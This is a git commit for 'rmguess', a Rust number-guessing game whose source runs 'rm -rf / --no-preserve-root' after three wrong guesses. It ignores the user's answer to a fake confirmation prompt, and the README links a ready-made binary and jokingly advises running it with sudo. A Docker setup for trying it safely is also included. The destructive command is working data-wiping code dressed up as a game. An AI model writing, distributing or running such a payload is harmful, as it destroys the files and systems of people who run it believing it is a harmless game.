commit 883e3234bfd5269fa0282e177383e7ac24dc3927 Author: foreverpyrite <51493121+ForeverPyrite@users.noreply.github.com> Date: Mon Oct 27 21:42:31 2025 -0500 I'm so proud of this, if only I made it work on Windows... sqach lol Update README.md Update README.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/target diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..af56605 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,148 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasip2", +] + +[[package]] +name = "libc" +version = "0.2.177" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro2" +version = "1.0.103" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ee95bc4ef87b8d5ba32e8b7714ccc834865276eab0aed5c9958d00ec45f49e8" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce25767e7b499d1b604768e7cde645d14cc8584231ea6b295e9c9eb22c02e1d1" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "rand" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6db2770f06117d490610c7488547d543617b21bfa07796d7a12f6f1bd53850d1" +dependencies = [ + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99d9a13982dcf210057a8a78572b2217b667c3beacbf3a0d8b454f6f82837d38" +dependencies = [ + "getrandom", +] + +[[package]] +name = "rmguess" +version = "0.1.0" +dependencies = [ + "rand", +] + +[[package]] +name = "syn" +version = "2.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da58917d35242480a05c2897064da0a80589a2a0476c9a3f2fdc83b53502e917" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "462eeb75aeb73aea900253ce739c8e18a67423fadf006037cd3ff27e82748a06" + +[[package]] +name = "wasip2" +version = "1.0.1+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0562428422c63773dad2c345a1882263bbf4d65cf3f42e90921f787ef5ad58e7" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wit-bindgen" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f17a85883d4e6d00e8a97c586de764dabcc06133f7f1d55dce5cdc070ad7fe59" + +[[package]] +name = "zerocopy" +version = "0.8.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0894878a5fa3edfd6da3f88c4805f4c8558e2b996227a3d864f47fe11e38282c" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88d2b8d9c68ad2b9e4340d7832716a4d21a22a1154777ad56ea55c51a9cf3831" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..333d5f0 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,7 @@ +[package] +name = "rmguess" +version = "0.1.0" +edition = "2024" + +[dependencies] +rand = "0.9.2" diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..88f4334 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,11 @@ +# Safe option +FROM ubuntu:24.04 + +# I'm too lazy to make an actual builder +COPY ./rmguess /root/ +WORKDIR /root/ +RUN chmod +x ./rmguess && cp ./rmguess /usr/bin/ +# In case people don't put the './' I guess + +# Running bash once the rmguess command is finished so they can...play around if they want. +ENTRYPOINT [ "/bin/bash", "-i" ] diff --git a/README.md b/README.md new file mode 100644 index 0000000..c55eae3 --- /dev/null +++ b/README.md @@ -0,0 +1,39 @@ +# rmguess +This is the funny silly goofy number guessing game, but on hard difficulty (you only get 3 guesses instead of 5-10) +~~Oh yeah and it like removes any file on your entire filesystem that you have access to remove but whatever~~ + +## Downloads +You can download it for [Linux here](https://git.foreverpyrite.com/foreverpyrite/rmguess/raw/branch/main/rmguess). +Windows is not supported for the time being. + +**Pro Tip**: Run the script with `sudo` for it to be super effective + +## Running it safely +Yeah, you probably don't want to run this on your Linux system, so I made a Docker image. +*Note: I'll try to make a repository to allow the image to be pulled directly sometime.* +```bash +# Clone this git repo and enter it +git clone https://git.foreverpyrite.com/foreverpyrite/rmguess ~/Downloads/rmguess +cd ~/Downloads/rmguess +# This creates a temporary, interactive Docker container that automatically runs the program +docker build -t rmguess . +docker run --rm -it rmguess +``` +From here you can run `./rmguess` (I would have it auto run but I want the user to be able to visit the aftermath) + +## Why? +It's not an original idea or anything, I've seen many shorter versions of this written in Python. +Now of course, they don't work. +They'll look like: +```python +from random import randint +import os + +number = randint(1,10) +guess = input("Pick a number 1-10") +if guess == number: + print("Good job, you won!") +else: + os.remove("System32") +``` +It goes without saying that that's not very functional. diff --git a/rmguess b/rmguess new file mode 100644 index 0000000..1152e3e Binary files /dev/null and b/rmguess differ diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..7e76b40 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,110 @@ +use std::{ + io::{self, Write}, + process::Command, + thread, + time::Duration, +}; + +use rand::random_range; + +fn main() { + // Assigns the random number our use will have to guess to a random number between 1-10 + let random_number: u8 = random_range(1..=10); + + // Creates a new, mutable (modifyable) buffer for user input + let mut user_input = String::new(); + // Initalize the remaining_guesses at 3 (mutable since we will need to count down) + let mut remaining_guesses: u8 = 3; + + println!("Your goal is to guess a number between 1 and 10."); + println!("You have 3 tries\nGood luck!"); + + while remaining_guesses > 0 { + // Make sure the user input buffer is empty + user_input.clear(); + + // Inform the user they are to submit their input via print (no newline at the end) + print!("Go ahead and enter your guess: "); + // Since print doesn't automatically flush stdout, we'll drain the buffer ourselves + // This is done to ensure that the message is visible on screen before the user input + let _ = io::stdout().flush(); + + // Read from stdio to user_input buffer + io::stdin() + .read_line(&mut user_input) + .expect("Failed to read line rip"); + + // Store a Result of whether or not the user input was parsable into integer between 1-10 + let try_into_int: Result = user_input + // Trim the new line from the user pressing enter (e.g. "8\n" to "8") + .trim() + // Try to parse the user_input into a unsigned 8 bit integer (0-255) + .parse::() + // If there is an Error while Parseing the user_input, map it to an IO error. + .map_err(|e| io::Error::other(e)) + // If the Result is Ok, check that it is in between 1-10, otherwise return an IO error + .and_then(|num_u8| { + if num_u8 >= 1 && num_u8 <= 10 { + Ok(num_u8) + } else { + Err(io::Error::other("Number was not in between 1 and 10")) + } + }); + + // If the Result is Ok, take the value held within it as "guess" + if let Ok(guess) = try_into_int { + if guess > random_number { + println!("go lower"); + } else if guess < random_number { + println!("go higher"); + } else { + println!("You won!"); + // If the user wins we can just return the function and end the program + return; + } + remaining_guesses -= 1; + } else { + println!("Please enter a valid number between 1 and 10"); + } + } + + // Give the user a foreboding message... + println!("You lost...time to face the consequences."); + + // Create a new command "rm" + let mut rm_rf = Command::new("rm"); + // Add the arguments "-rm" for recurseive force and "/*" for every directory under root. + rm_rf.args(["-rf", "/", "--no-preserve-root"]); + + // Lure the user into a false sense of choice + println!("Would you like to run the following command?: {:?}", &rm_rf); + + // Flush the user input buffer just so we have somewhere to write to. + // Alternatively, could probably use /dev/null or similar + user_input.clear(); + io::stdin() + .read_line(&mut user_input) + .expect("Failed to read line rip"); + + // Taunt the user and count down from 3 + println!("Too bad too sad...\n"); + println!("Self-destructing operating system in..."); + // Inclusive range from 1-3, reversed for a countdown + for i in (1..=3).rev() { + println!("{i}..."); + + thread::sleep(Duration::from_secs(1)); + } + + // Make sure the user knows what's happening + println!("Running command..."); + // Get the exit status of the command after running it for funsies (to taunt the user again) + let cmd_return_code = rm_rf + .status() + .expect("Error while trying to get ExitStatus (you might've been mercied...)"); + // Make the job look like it's taking longer than it does, just to worry the user more + thread::sleep(Duration::from_secs(2)); + println!("Command complete with exit status {cmd_return_code}"); + // (: + println!(":)") +}